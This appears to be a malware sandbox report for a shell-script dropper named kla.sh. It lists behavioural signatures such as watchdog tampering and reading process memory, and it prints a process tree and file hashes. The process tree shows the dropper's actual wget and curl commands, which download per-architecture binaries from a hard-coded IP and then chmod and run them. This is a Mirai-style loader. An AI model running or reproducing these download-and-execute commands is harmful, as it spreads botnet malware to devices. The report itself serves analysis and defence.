Overview

overview

9

Static

static

1

kla.sh

ubuntu-18.04-amd64

9

kla.sh

debian-9-armhf

7

kla.sh

debian-9-mips

kla.sh

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    144s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/08/2026, 12:20

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    kla.sh
  • Size 2KB
  • Sample260805-ph7cba1zbx
  • SHA256 2d2be0eefdf649cff2a51ba6e11d20014e4203883791f1b8ae8cb56f2d245917
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmcredential_accessdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

    credential_access
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/kla.sh
    /tmp/kla.sh
    1⤵
    • Executes dropped EXE
    PID:655
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:661
    • /usr/bin/wget
      wget -q -O robben http://94.154.43.10/bins/px86
      2⤵
      • Writes file to tmp directory
      PID:672
    • /bin/chmod
      chmod 777 robben
      2⤵
      • File and Directory Permissions Modification
      PID:683
    • /tmp/robben
      ./robben Payload
      2⤵
        PID:685
      • /usr/bin/wget
        wget -q -O robben http://94.154.43.10/bins/pmips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:688
      • /bin/chmod
        chmod 777 robben
        2⤵
        • File and Directory Permissions Modification
        PID:690
      • /tmp/robben
        ./robben Payload
        2⤵
          PID:692
        • /usr/bin/wget
          wget -q -O robben http://94.154.43.10/bins/pmpsl
          2⤵
          • Writes file to tmp directory
          PID:695
        • /bin/chmod
          chmod 777 robben
          2⤵
          • File and Directory Permissions Modification
          PID:696
        • /tmp/robben
          ./robben Payload
          2⤵
            PID:697
          • /usr/bin/wget
            wget -q -O robben http://94.154.43.10/bins/parm
            2⤵
            • Writes file to tmp directory
            PID:700
          • /bin/chmod
            chmod 777 robben
            2⤵
            • File and Directory Permissions Modification
            PID:701
          • /tmp/robben
            ./robben Payload
            2⤵
            • Deletes itself
            • Modifies Watchdog functionality
            • Reads process memory
            • Changes its process name
            • Reads runtime system information
            PID:702
          • /usr/bin/wget
            wget -q -O robben http://94.154.43.10/bins/parm5
            2⤵
            • Writes file to tmp directory
            PID:707
          • /bin/chmod
            chmod 777 robben
            2⤵
            • File and Directory Permissions Modification
            PID:708
          • /tmp/robben
            ./robben Payload
            2⤵
              PID:709
            • /usr/bin/wget
              wget -q -O robben http://94.154.43.10/bins/parm6
              2⤵
              • Writes file to tmp directory
              PID:711
            • /usr/bin/curl
              curl -s -o robben http://94.154.43.10/bins/parm6
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:712

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                busybox
                • Path /tmp/busybox
                • Size 507KB
                • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                robben
                • Path /tmp/robben
                • Size 130KB
                • SHA256 03ea5a00f2cb9501fbf2833e49d597994e9ef3acef7cdf6b3e8d704a287d7f1b
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                robben
                • Path /tmp/robben
                • Size 238KB
                • SHA256 e1d4e04aab183f72923e45a1f9d06a04b78213455fa9a1bbc024d8186515c685
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                robben
                • Path /tmp/robben
                • Size 242KB
                • SHA256 9a13d58b6aee76ede19290cf358fb6fcafcb26190b260289c97d74d1e18895b0
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                robben
                • Path /tmp/robben
                • Size 178KB
                • SHA256 108f4d7c341ed33055c498b1156954cc5dce0799eccc4cc7ad2f072303f054ec
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                robben
                • Path /tmp/robben
                • Size 78KB
                • SHA256 afbdf2cf4dc4196369ce04816b793e07f93135ed633d4d252647a8695e154d42
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download